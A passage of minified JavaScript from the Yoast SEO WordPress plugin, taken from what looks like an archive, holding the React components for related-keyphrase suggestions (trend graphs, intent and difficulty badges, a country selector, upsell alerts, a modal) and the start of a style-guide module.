strict";t.exports=window.wp.i18n},81413:t=>{"use strict";t.exports=window.yoast.componentsNew},7206:t=>{"use strict";t.exports=window.yoast.draftJs},23695:t=>{"use strict";t.exports=window.yoast.helpers},85890:t=>{"use strict";t.exports=window.yoast.propTypes},37188:t=>{"use strict";t.exports=window.yoast.styleGuide},98487:t=>{"use strict";t.exports=window.yoast.styledComponents}},e={};function n(r){var i=e[r];if(void 0!==i)return i.exports;var o=e[r]={exports:{}};return t[r].call(o.exports,o,o.exports,n),o.exports}n.n=t=>{var e=t&&t.__esModule?()=>t.default:()=>t;return n.d(e,{a:e}),e},n.d=(t,e)=>{for(var r in e)n.o(e,r)&&!n.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:e[r]})},n.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),n.r=t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})};var r={};(()=>{"use strict";var t=r;Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"ReplacementVariableEditor",{enumerable:!0,get:function(){return e.default}}),Object.defineProperty(t,"ReplacementVariableEditorStandalone",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"SettingsSnippetEditor",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"StandardButton",{enumerable:!0,get:function(){return a.StandardButton}}),Object.defineProperty(t,"StyledEditor",{enumerable:!0,get:function(){return s.StyledEditor}}),Object.defineProperty(t,"TriggerReplacementVariableSuggestionsButton",{enumerable:!0,get:function(){return a.TriggerReplacementVariableSuggestionsButton}}),Object.defineProperty(t,"recommendedReplacementVariablesShape",{enumerable:!0,get:function(){return u.recommendedReplacementVariablesShape}}),Object.defineProperty(t,"replacementVariablesShape",{enumerable:!0,get:function(){return u.replacementVariablesShape}});var e=c(n(51381)),i=c(n(42578)),o=c(n(26895)),s=n(9283),a=n(32183),u=n(34353);function c(t){return t&&t.__esModule?t:{default:t}}})(),(window.yoast=window.yoast||{}).replacementVariableEditor=r})();wordpress-seo/js/dist/externals/relatedKeyphraseSuggestions.js000064400000062440147510273070021045 0ustar00(()=>{var e={54776:(e,a)=>{var t;!function(){"use strict";var l={}.hasOwnProperty;function s(){for(var e="",a=0;a<arguments.length;a++){var t=arguments[a];t&&(e=n(e,r(t)))}return e}function r(e){if("string"==typeof e||"number"==typeof e)return e;if("object"!=typeof e)return"";if(Array.isArray(e))return s.apply(null,e);if(e.toString!==Object.prototype.toString&&!e.toString.toString().includes("[native code]"))return e.toString();var a="";for(var t in e)l.call(e,t)&&e[t]&&(a=n(a,t));return a}function n(e,a){return a?e?e+" "+a:e+a:e}e.exports?(s.default=s,e.exports=s):void 0===(t=function(){return s}.apply(a,[]))||(e.exports=t)}()}},a={};function t(l){var s=a[l];if(void 0!==s)return s.exports;var r=a[l]={exports:{}};return e[l](r,r.exports,t),r.exports}t.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return t.d(a,{a}),a},t.d=(e,a)=>{for(var l in a)t.o(a,l)&&!t.o(e,l)&&Object.defineProperty(e,l,{enumerable:!0,get:a[l]})},t.o=(e,a)=>Object.prototype.hasOwnProperty.call(e,a),t.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var l={};(()=>{"use strict";t.r(l),t.d(l,{CountrySelector:()=>B,DifficultyBullet:()=>w,IntentBadge:()=>v,KeyphrasesTable:()=>_,Modal:()=>D,PremiumUpsell:()=>O,TableButton:()=>S,TrendGraph:()=>c,UserMessage:()=>z});const e=window.React;var a=t.n(e);const s=window.yoast.propTypes;var r=t.n(s);const n=window.wp.i18n,o=[(0,n.__)("Twelve months ago","wordpress-seo"),(0,n.__)("Eleven months ago","wordpress-seo"),(0,n.__)("Ten months ago","wordpress-seo"),(0,n.__)("Nine months ago","wordpress-seo"),(0,n.__)("Eight months ago","wordpress-seo"),(0,n.__)("Seven months ago","wordpress-seo"),(0,n.__)("Six months ago","wordpress-seo"),(0,n.__)("Five months ago","wordpress-seo"),(0,n.__)("Four months ago","wordpress-seo"),(0,n.__)("Three months ago","wordpress-seo"),(0,n.__)("Two months ago","wordpress-seo"),(0,n.__)("Last month","wordpress-seo")],i=({data:e})=>{if(e.length!==o.length)throw new Error("The number of headers and header labels don't match.");return a().createElement("div",{className:"yst-sr-only"},a().createElement("table",null,a().createElement("caption",null,(0,n.__)("Keyphrase volume in the last 12 months on a scale from 0 to 100.","wordpress-seo")),a().createElement("thead",null,a().createElement("tr",null,o.map(((e,t)=>a().createElement("th",{key:t},e))))),a().createElement("tbody",null,a().createElement("tr",null,e.map(((e,t)=>{return a().createElement("td",{key:t},(l=e,Math.round(100*l)));var l}))))))};i.propTypes={data:r().arrayOf(r().number).isRequired};const c=({data:e})=>{if(12!==e.length){const a=12-e.length;for(let t=0;t<a;t++)e.unshift(0)}const t=Math.max(1,...e.map((e=>e))),l=e.map(((e,a)=>`${a/11*66},${22.2-e/t*22.2+1.8}`)).join(" "),s="0,24 "+l+" 66,24";return a().createElement(a().Fragment,null,a().createElement("svg",{width:66,height:24,viewBox:"0 0 66 24",className:"yst-block",role:"img","aria-hidden":"true",focusable:"false"},a().createElement("polygon",{className:"yst-fill-sky-200",points:s}),a().createElement("polyline",{fill:"none",className:"yst-stroke-blue-500",strokeWidth:1.8,strokeLinejoin:"round",strokeLinecap:"round",points:l})),a().createElement(i,{data:e}))};function u(){return u=Object.assign?Object.assign.bind():function(e){for(var a=1;a<arguments.length;a++){var t=arguments[a];for(var l in t)({}).hasOwnProperty.call(t,l)&&(e[l]=t[l])}return e},u.apply(null,arguments)}c.propTypes={data:r().arrayOf(r().number).isRequired};const m=window.yoast.uiLibrary,d=window.lodash;var p=t(54776),y=t.n(p);const b={i:{title:(0,n.__)("Informational","wordpress-seo"),description:(0,n.__)("The user wants to find an answer to a specific question.","wordpress-seo")},n:{title:(0,n.__)("Navigational","wordpress-seo"),description:(0,n.__)("The user wants to find a specific page or site.","wordpress-seo")},c:{title:(0,n.__)("Commercial","wordpress-seo"),description:(0,n.__)("The user wants to investigate brands or services.","wordpress-seo")},t:{title:(0,n.__)("Transactional","wordpress-seo"),description:(0,n.__)("The user wants to complete an action (conversion).","wordpress-seo")}},v=({id:e,value:t,className:l=""})=>b[t]?a().createElement(m.TooltipContainer,null,a().createElement(m.TooltipTrigger,{ariaDescribedby:e,className:y()("yst-intent-badge",`yst-intent-badge--${t}`,l)},t),a().createElement(m.TooltipWithContext,{id:e,className:"yst-w-48 yst-text-xs yst-leading-4 yst-font-normal"},a().createElement("div",{className:"yst-font-medium"},b[t].title," "),b[t].description)):null;v.propTypes={id:r().string.isRequired,value:r().oneOf(["i","n","c","t"]).isRequired,className:r().string};const h=[{min:0,max:14,name:"very-easy",tooltip:{title:(0,n.__)("Very easy","wordpress-seo"),description:(0,n.__)("Your chance to start ranking new pages.","wordpress-seo")}},{min:15,max:29,name:"easy",tooltip:{title:(0,n.__)("Easy","wordpress-seo"),description:(0,n.__)("You will need quality content focused on the keyword’s intent.","wordpress-seo")}},{min:30,max:49,name:"possible",tooltip:{title:(0,n.__)("Possible","wordpress-seo"),description:(0,n.__)("You will need well-structured and unique content.","wordpress-seo")}},{min:50,max:69,name:"difficult",tooltip:{title:(0,n.__)("Difficult","wordpress-seo"),description:(0,n.__)("You will need lots of ref. domains and optimized content.","wordpress-seo")}},{min:70,max:84,name:"hard",tooltip:{title:(0,n.__)("Hard","wordpress-seo"),description:(0,n.__)("You will need lots of high-quality ref. domains and optimized content.","wordpress-seo")}},{min:85,max:100,name:"very-hard",tooltip:{title:(0,n.__)("Very hard","wordpress-seo"),description:(0,n.__)("It will take a lot of on-page SEO, link building, and content promotion efforts.","wordpress-seo")}}],w=({value:e,id:t})=>{const l=(e=>{for(const a of h)if(a.min<=e&&e<=a.max)return a})(e);return l?a().createElement(m.TooltipContainer,null,a().createElement(m.TooltipTrigger,{ariaDescribedby:t,className:"yst-flex yst-gap-2 yst-items-center yst-relative yst-w-10"},a().createElement("div",{className:"yst-text-right yst-w-5"},e),a().createElement("div",{className:y()("yst-w-3 yst-h-3 yst-rounded-full",`yst-difficulty--${l.name}`)})),a().createElement(m.TooltipWithContext,{id:t,className:"yst-w-48 yst-text-xs yst-leading-4 yst-font-normal",position:"left"},a().createElement("div",{className:"yst-font-medium"},l.tooltip.title," "),l.tooltip.description)):null};w.propTypes={value:r().number.isRequired,id:r().string.isRequired};const g=({keyword:e="",searchVolume:t="",trends:l=[],keywordDifficultyIndex:s=-1,intent:r=[],renderButton:n,relatedKeyphrases:o,id:i})=>a().createElement(m.Table.Row,{id:i},a().createElement(m.Table.Cell,null,e),a().createElement(m.Table.Cell,null,a().createElement("div",{className:"yst-flex yst-gap-2"},r.length>0&&r.map(((e,t)=>a().createElement(v,{id:`${i}__intent-${t}-${e}`,key:`${i}-${t}-${e}`,value:e}))))),a().createElement(m.Table.Cell,null,a().createElement("div",{className:"yst-flex yst-justify-end"},t)),a().createElement(m.Table.Cell,null,a().createElement(c,{data:l})),a().createElement(m.Table.Cell,null,a().createElement("div",{className:"yst-flex yst-justify-end"},a().createElement(w,{value:s,id:`${i}__difficulty-index`}))),(0,d.isFunction)(n)&&a().createElement(m.Table.Cell,null,n(e,o)));g.propTypes={keyword:r().string,searchVolume:r().string,trends:r().arrayOf(r().number),keywordDifficultyIndex:r().number,intent:r().arrayOf(r().string),renderButton:r().func,relatedKeyphrases:r().arrayOf(r().shape({key:r().string,keyword:r().string,results:r().array,score:r().number})),id:r().string.isRequired};const f=({withButton:e=!1})=>a().createElement(m.Table.Row,null,a().createElement(m.Table.Cell,{className:"yst-w-44"},a().createElement(m.SkeletonLoader,{className:"yst-w-36 yst-h-5"})),a().createElement(m.Table.Cell,null,a().createElement(m.SkeletonLoader,{className:"yst-w-5 yst-h-5"})),a().createElement(m.Table.Cell,null,a().createElement("div",{className:"yst-flex yst-justify-end"},a().createElement(m.SkeletonLoader,{className:"yst-w-14 yst-h-5"}))),a().createElement(m.Table.Cell,null,a().createElement(m.SkeletonLoader,{className:"yst-w-16 yst-h-5"})),a().createElement(m.Table.Cell,null,a().createElement("div",{className:"yst-flex yst-gap-2 yst-justify-end"},a().createElement(m.SkeletonLoader,{className:"yst-w-4 yst-h-5"}),a().createElement(m.SkeletonLoader,{className:"yst-w-3 yst-h-5"}))),e&&a().createElement(m.Table.Cell,{className:"yst-w-32"},a().createElement("div",{className:"yst-flex yst-justify-end"},a().createElement(m.SkeletonLoader,{className:"yst-w-16 yst-h-7"}))));f.propTypes={withButton:r().bool};const E=["i","n","t","c"],_=({columnNames:e=[],data:t,renderButton:l,relatedKeyphrases:s=[],className:r="",userLocale:o,isPending:i=!1,idPrefix:c="yoast-seo"})=>{let p;try{p=new Intl.NumberFormat(o,{notation:"compact",compactDisplay:"short"})}catch(e){p=new Intl.NumberFormat(navigator.language.split("-")[0],{notation:"compact",compactDisplay:"short"})}const y=null==t?void 0:t.map((a=>((e,a,t)=>{const l={};return e.forEach(((e,s)=>{switch(e){case"Trends":l.trends=a[s].split(",").map((e=>parseFloat(e)));break;case"Intent":l.intent=a[s].split(",").map((e=>E[Number(e)]));break;case"Keyword Difficulty Index":l.keywordDifficultyIndex=Number(a[s]);break;case"Search Volume":l.searchVolume=t.format(a[s]);break;default:l[e.toLowerCase()]=a[s]}})),l})(e,a,p)));return y&&0!==y.length||i?a().createElement(m.Table,{className:r},a().createElement(m.Table.Head,null,a().createElement(m.Table.Row,null,a().createElement(m.Table.Header,{className:"yst-text-start"},(0,n.__)("Related keyphrase","wordpress-seo")),a().createElement(m.Table.Header,{className:"yst-text-start"},(0,n.__)("Intent","wordpress-seo")),a().createElement(m.Table.Header,null,a().createElement("div",{className:"yst-flex yst-justify-end"},(0,n.__)("Volume","wordpress-seo"))),a().createElement(m.Table.Header,{className:"yst-text-start"},(0,n.__)("Trend","wordpress-seo")),a().createElement(m.Table.Header,{className:"yst-whitespace-nowrap"},a().createElement("div",{className:"yst-flex yst-justify-end"},(0,n.__)("Difficulty %","wordpress-seo"))),l&&a().createElement(m.Table.Header,{className:"yst-w-32"},a().createElement("div",{className:"yst-flex yst-justify-end yst-text-right rtl:yst-text-left"},(0,n.__)("Add keyphrase","wordpress-seo"))))),a().createElement(m.Table.Body,null,!i&&y&&y.map(((e,t)=>a().createElement(g,u({key:`${c}-related-keyphrase-${t}`,id:`${c}-related-keyphrase-${t}`,renderButton:l,relatedKeyphrases:s},e)))),i&&Array.from({length:10},((e,t)=>a().createElement(f,{key:`loading-row-${t}`,withButton:(0,d.isFunction)(l)}))))):null};_.propTypes={columnNames:r().arrayOf(r().string),data:r().arrayOf(r().arrayOf(r().string)),relatedKeyphrases:r().arrayOf(r().shape({key:r().string,keyword:r().string,results:r().array,score:r().number})),renderButton:r().func,className:r().string,isPending:r().bool,userLocale:r().string,idPrefix:r().string},_.displayName="KeyphrasesTable";const N=e.forwardRef((function(a,t){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},a),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"}))})),k=e.forwardRef((function(a,t){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},a),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 13l4 4L19 7"}))})),T=e.forwardRef((function(a,t){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},a),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"}))})),x=e.forwardRef((function(a,t){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},a),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"}))})),C={add:{button:{Icon:N,label:(0,n.__)("Add","wordpress-seo"),variant:"secondary"},success:{Icon:k,label:(0,n.__)("Added!","wordpress-seo")}},remove:{button:{Icon:T,label:(0,n.__)("Remove","wordpress-seo"),variant:"tertiary"},success:{Icon:x,label:(0,n.__)("Removed!","wordpress-seo")}}},L=({variant:e,className:t=""})=>{const l=C[e].success.Icon;return a().createElement("div",{role:"alert",className:y()("yst-success-message yst-animate-appear-disappear",`yst-success-message-${e}`,t)},a().createElement(l,{className:"yst-success-icon"}),C[e].success.label)};L.propTypes={variant:r().oneOf(["add","remove"]),className:r().string};const S=(0,e.forwardRef)((({variant:e="add",className:t="",...l},s)=>{const r=C[e].button.Icon;return a().createElement(m.Button,u({},l,{ref:s,variant:C[e].button.variant,size:"small",className:y()("yst-table-button",t)}),a().createElement(r,{className:"yst-button-icon yst--mx-1"}),C[e].button.label)}));S.propTypes={variant:r().oneOf(["add","remove"]).isRequired,className:r().string},S.displayName="TableButton",S.SuccessMessage=L;const M=[{value:"us",label:"United States - US"},{value:"uk",label:"United Kingdom - UK"},{value:"ca",label:"Canada - CA"},{value:"ru",label:"Russia - RU"},{value:"de",label:"Germany - DE"},{value:"fr",label:"France - FR"},{value:"es",label:"Spain - ES"},{value:"it",label:"Italy - IT"},{value:"br",label:"Brazil - BR"},{value:"au",label:"Australia - AU"},{value:"ar",label:"Argentina - AR"},{value:"be",label:"Belgium - BE"},{value:"ch",label:"Switzerland - CH"},{value:"dk",label:"Denmark - DK"},{value:"fi",label:"Finland - FI"},{value:"hk",label:"Hong Kong - HK"},{value:"ie",label:"Ireland - IE"},{value:"il",label:"Israel - IL"},{value:"mx",label:"Mexico - MX"},{value:"nl",label:"Netherlands - NL"},{value:"no",label:"Norway - NO"},{value:"pl",label:"Poland - PL"},{value:"se",label:"Sweden - SE"},{value:"sg",label:"Singapore - SG"},{value:"tr",label:"Turkey - TR"},{value:"jp",label:"Japan - JP"},{value:"in",label:"India - IN"},{value:"hu",label:"Hungary - HU"},{value:"af",label:"Afghanistan - AF"},{value:"al",label:"Albania - AL"},{value:"dz",label:"Algeria - DZ"},{value:"ao",label:"Angola - AO"},{value:"am",label:"Armenia - AM"},{value:"at",label:"Austria - AT"},{value:"az",label:"Azerbaijan - AZ"},{value:"bh",label:"Bahrain - BH"},{value:"bd",label:"Bangladesh - BD"},{value:"by",label:"Belarus - BY"},{value:"bz",label:"Belize - BZ"},{value:"bo",label:"Bolivia - BO"},{value:"ba",label:"Bosnia and Herzegovina - BA"},{value:"bw",label:"Botswana - BW"},{value:"bn",label:"Brunei - BN"},{value:"bg",label:"Bulgaria - BG"},{value:"cv",label:"Cabo Verde - CV"},{value:"kh",label:"Cambodia - KH"},{value:"cm",label:"Cameroon - CM"},{value:"cl",label:"Chile - CL"},{value:"co",label:"Colombia - CO"},{value:"cr",label:"Costa Rica - CR"},{value:"hr",label:"Croatia - HR"},{value:"cy",label:"Cyprus - CY"},{value:"cz",label:"Czech Republic - CZ"},{value:"cd",label:"Congo - CD"},{value:"do",label:"Dominican Republic - DO"},{value:"ec",label:"Ecuador - EC"},{value:"eg",label:"Egypt - EG"},{value:"sv",label:"El Salvador - SV"},{value:"ee",label:"Estonia - EE"},{value:"et",label:"Ethiopia - ET"},{value:"ge",label:"Georgia - GE"},{value:"gh",label:"Ghana - GH"},{value:"gr",label:"Greece - GR"},{value:"gt",label:"Guatemala - GT"},{value:"gy",label:"Guyana - GY"},{value:"ht",label:"Haiti - HT"},{value:"hn",label:"Honduras - HN"},{value:"is",label:"Iceland - IS"},{value:"id",label:"Indonesia - ID"},{value:"jm",label:"Jamaica - JM"},{value:"jo",label:"Jordan - JO"},{value:"kz",label:"Kazakhstan - KZ"},{value:"kw",label:"Kuwait - KW"},{value:"lv",label:"Latvia - LV"},{value:"lb",label:"Lebanon - LB"},{value:"lt",label:"Lithuania - LT"},{value:"lu",label:"Luxembourg - LU"},{value:"mg",label:"Madagascar - MG"},{value:"my",label:"Malaysia - MY"},{value:"mt",label:"Malta - MT"},{value:"mu",label:"Mauritius - MU"},{value:"md",label:"Moldova - MD"},{value:"mn",label:"Mongolia - MN"},{value:"me",label:"Montenegro - ME"},{value:"ma",label:"Morocco - MA"},{value:"mz",label:"Mozambique - MZ"},{value:"na",label:"Namibia - NA"},{value:"np",label:"Nepal - NP"},{value:"nz",label:"New Zealand - NZ"},{value:"ni",label:"Nicaragua - NI"},{value:"ng",label:"Nigeria - NG"},{value:"om",label:"Oman - OM"},{value:"py",label:"Paraguay - PY"},{value:"pe",label:"Peru - PE"},{value:"ph",label:"Philippines - PH"},{value:"pt",label:"Portugal - PT"},{value:"ro",label:"Romania - RO"},{value:"sa",label:"Saudi Arabia - SA"},{value:"sn",label:"Senegal - SN"},{value:"rs",label:"Serbia - RS"},{value:"sk",label:"Slovakia - SK"},{value:"si",label:"Slovenia - SI"},{value:"za",label:"South Africa - ZA"},{value:"kr",label:"South Korea - KR"},{value:"lk",label:"Sri Lanka - LK"},{value:"th",label:"Thailand - TH"},{value:"bs",label:"Bahamas - BS"},{value:"tt",label:"Trinidad and Tobago - TT"},{value:"tn",label:"Tunisia - TN"},{value:"ua",label:"Ukraine - UA"},{value:"ae",label:"United Arab Emirates - AE"},{value:"uy",label:"Uruguay - UY"},{value:"ve",label:"Venezuela - VE"},{value:"vn",label:"Vietnam - VN"},{value:"zm",label:"Zambia - ZM"},{value:"zw",label:"Zimbabwe - ZW"},{value:"ly",label:"Libya - LY"}],B=({countryCode:t="us",activeCountryCode:l="us",onChange:s,onClick:r,className:o,userLocale:i})=>{let c;try{c=new Intl.DisplayNames([i],{type:"region"})}catch(e){c=new Intl.DisplayNames([navigator.language.split("-")[0]],{type:"region"})}const[u,p]=(0,e.useState)(""),b=(0,e.useMemo)((()=>(0,d.filter)(M,(e=>!u||c.of(e.value.toUpperCase()).toLowerCase().startsWith(u)))),[u]),v=(0,e.useCallback)((e=>{p(e.target.value.toLowerCase())}),[p]);return a().createElement("div",{className:y()("yst-flex yst-items-end yst-gap-2",o)},a().createElement(m.AutocompleteField,{id:"yst-country-selector__select",label:(0,n.__)("Show results for:","wordpress-seo"),value:t,selectedLabel:t?c.of(t.toUpperCase()):"",onChange:s,onQueryChange:v,className:"sm:yst-w-96"},b.map((e=>a().createElement(m.AutocompleteField.Option,{key:e.value,value:e.value},c.of(e.value.toUpperCase()))))),a().createElement(m.Button,{id:"yst-country-selector__button",size:"large",variant:l===t?"secondary":"primary",onClick:r},(0,n.__)("Change country","wordpress-seo")))};B.propTypes={countryCode:r().string,activeCountryCode:r().string,onChange:r().func.isRequired,onClick:r().func.isRequired,className:r().string,userLocale:r().string};const R=e.forwardRef((function(a,t){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},a),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),O=({url:e,className:t})=>a().createElement("div",{className:t},a().createElement("p",null,(0,n.sprintf)(/* translators: %s: Expands to "Yoast SEO". */
(0,n.__)("You’ll reach more people with multiple keyphrases! Want to quickly add these related keyphrases to the %s analyses for even better content optimization?","wordpress-seo"),"Yoast SEO")),a().createElement(m.Button,{variant:"upsell",as:"a",href:e,className:"yst-mt-4 yst-gap-2",target:"_blank"},a().createElement(R,{className:"yst-w-4 yst-h-4 yst-text-amber-900"}),(0,n.sprintf)(/* translators: %s: Expands to "Yoast SEO Premium". */
(0,n.__)("Explore %s!","wordpress-seo"),"Yoast SEO Premium"),a().createElement("span",{className:"yst-sr-only"},(0,n.__)("(Opens in a new browser tab)","wordpress-seo"))));O.propTypes={url:r().string.isRequired,className:r().string};const A=e.forwardRef((function(a,t){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},a),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))})),j=({upsellLink:e,className:t=""})=>a().createElement(m.Alert,{variant:"warning",className:t},a().createElement("div",{className:"yst-flex yst-flex-col yst-items-start"},(0,n.sprintf)(/* translators: %s : Expands to "Semrush". */
(0,n.__)("You've reached your request limit for today. Check back tomorrow or upgrade your plan over at %s.","wordpress-seo"),"Semrush"),e&&a().createElement(m.Button,{variant:"upsell",className:"yst-mt-3 yst-gap-1.5",as:"a",href:e,target:"_blank"},(0,n.sprintf)(/* translators: %s : Expands to "Semrush". */
(0,n.__)("Upgrade your %s plan","wordpress-seo"),"Semrush"),a().createElement(A,{className:"yst-w-4 yst-h-4 yst-text-amber-900 rtl:yst-rotate-180"}))));j.propTypes={upsellLink:r().string,className:r().string};const H=({className:e=""})=>a().createElement(m.Alert,{variant:"error",className:e},(0,n.__)("We've encountered a problem trying to get related keyphrases. Please try again later.","wordpress-seo"));H.propTypes={className:r().string};const I=({className:e=""})=>a().createElement(m.Alert,{variant:"info",className:e},(0,n.__)("Sorry, there's no data available for that keyphrase/country combination.","wordpress-seo"));I.propTypes={className:r().string};const q=({className:e=""})=>a().createElement(m.Alert,{variant:"warning",className:e},(0,n.sprintf)(/* translators: %s: Expands to "Yoast SEO". */
(0,n.__)("You've reached the maximum amount of 4 related keyphrases. You can change or remove related keyphrases in the %s metabox or sidebar.","wordpress-seo"),"Yoast SEO"));q.propTypes={className:r().string};const z=({variant:e,upsellLink:t="",className:l=""})=>{switch(e){case"requestLimitReached":return a().createElement(j,{upsellLink:t,className:l});case"requestFailed":return a().createElement(H,{className:l});case"requestEmpty":return a().createElement(I,{className:l});case"maxRelatedKeyphrases":return a().createElement(q,{className:l});default:return null}};z.propTypes={variant:r().oneOf(["requestLimitReached","requestFailed","requestEmpty","maxRelatedKeyphrases"]),upsellLink:r().string,className:r().string};const P=e.forwardRef((function(a,t){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},a),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"}))})),K=()=>a().createElement("svg",{className:"yst-w-[17px] yst-h-[17px] yst-fill-primary-500 yst-mt-[3px]",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 425 456.27",role:"img","aria-hidden":"true",focusable:"false"},a().createElement("path",{d:"M73 405.26a66.79 66.79 0 0 1-6.54-1.7 64.75 64.75 0 0 1-6.28-2.31c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92a70.154 70.154 0 0 1-5.08-4.19 69.21 69.21 0 0 1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24a70.747 70.747 0 0 1-3.44-5.64 68.29 68.29 0 0 1-8.29-32.55V142.13a68.26 68.26 0 0 1 8.29-32.55c1-1.92 2.21-3.82 3.44-5.64s2.55-3.58 4-5.27a69.26 69.26 0 0 1 14.49-13.25C50.37 84.19 52.27 83 54.2 82A67.59 67.59 0 0 1 73 75.09a68.75 68.75 0 0 1 13.75-1.39h169.66L263 55.39H86.75A86.84 86.84 0 0 0 0 142.13v196.09A86.84 86.84 0 0 0 86.75 425h11.32v-18.35H86.75A68.75 68.75 0 0 1 73 405.26zM368.55 60.85l-1.41-.53-6.41 17.18 1.41.53a68.06 68.06 0 0 1 8.66 4c1.93 1 3.82 2.2 5.65 3.43A69.19 69.19 0 0 1 391 98.67c1.4 1.68 2.72 3.46 3.95 5.27s2.39 3.72 3.44 5.64a68.29 68.29 0 0 1 8.29 32.55v264.52H233.55l-.44.76c-3.07 5.37-6.26 10.48-9.49 15.19L222 425h203V142.13a87.2 87.2 0 0 0-56.45-81.28z"}),a().createElement("path",{d:"M119.8 408.28v46c28.49-1.12 50.73-10.6 69.61-29.58 19.45-19.55 36.17-50 52.61-96L363.94 1.9H305l-98.25 272.89-48.86-153h-54l71.7 184.18a75.67 75.67 0 0 1 0 55.12c-7.3 18.68-20.25 40.66-55.79 47.19z",stroke:"#000",strokeMiterlimit:"10",strokeWidth:"3.81"})),D=({isOpen:e,onClose:t,insightsLink:l,learnMoreLink:s,children:r})=>a().createElement(m.Modal,{onClose:t,isOpen:e},a().createElement(m.Modal.Panel,{className:"yst-p-0 yst-max-w-2xl"},a().createElement(m.Modal.Container.Header,{className:"yst-flex yst-gap-3 yst-p-6 yst-border-b-slate-200 yst-border-b yst-flex-row"},a().createElement(K,null),a().createElement(m.Modal.Title,{as:"h3",className:"yst-text-lg yst-font-medium"},(0,n.__)("Related keyphrases","wordpress-seo"))),a().createElement(m.Modal.Container.Content,{className:"yst-related-keyphrase-modal-content yst-m-0"},r),a().createElement(m.Modal.Container.Footer,{className:"yst-p-6 yst-border-t yst-border-t-slate-200 yst-flex yst-justify-between"},a().createElement(m.Link,{href:l,className:"yst-modal-footer-link",target:"_blank"},(0,n.sprintf)(/* translators: %s expands to Semrush */
(0,n.__)("Get more insights at %s","wordpress-seo"),"Semrush"),a().createElement("span",{className:"yst-sr-only"},(0,n.__)("(Opens in a new browser tab)","wordpress-seo")),a().createElement(P,{className:"yst-link-icon rtl:yst-rotate-[270deg]"})),a().createElement(m.Link,{href:s,className:"yst-modal-footer-link yst-text-primary-500",target:"_blank"},(0,n.__)("Learn more about the metrics","wordpress-seo"),a().createElement("span",{className:"yst-sr-only"},(0,n.__)("(Opens in a new browser tab)","wordpress-seo")),a().createElement(A,{className:"yst-link-icon rtl:yst-rotate-180"})))));D.propTypes={isOpen:r().bool.isRequired,onClose:r().func.isRequired,insightsLink:r().string.isRequired,learnMoreLink:r().string.isRequired,children:r().node}})(),(window.yoast=window.yoast||{}).relatedKeyphraseSuggestions=l})();wordpress-seo/js/dist/externals/styleGuide.js000064400000015506147510273070015435 0ustar00(()=>{"use strict";var e={34130:(e,t,r)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.angleRight=t.angleLeft=void 0,t.rgba=function(e,t){return"rgba( "+function(e){if("string"!=typeof e)throw new Error("Please pass a string representation of a color in hex notation.");if(e.match(/^#[a-fA-F0-9]{6}$/))return parseInt(`${e[1]}${e[2]}`,16)+", "+parseInt(`${e[3]}${e[4]}`,16)+", "+parseInt(`${e[5]}${e[6]}`,16);if(e.match(/^#[a-fA-F0-9]{3}$/))return parseInt(`${e[1]}${e[1]}`,16)+", "+parseInt(`${e[2]}${e[2]}`,16)+", "+parseInt(` ${e[3]}${e[3]}`,16);throw new Error("Couldn't parse the color string. Please provide the color as a string in hex notation.")}(e)+", "+t+" )"},t.withCaretStyles=void 0;var o=a(r(98487)),l=r(23695),_=a(r(29769));function a(e){return e&&e.__esModule?e:{default:e}}const c=e=>"data:image/svg+xml;charset=utf8,"+encodeURIComponent('<svg 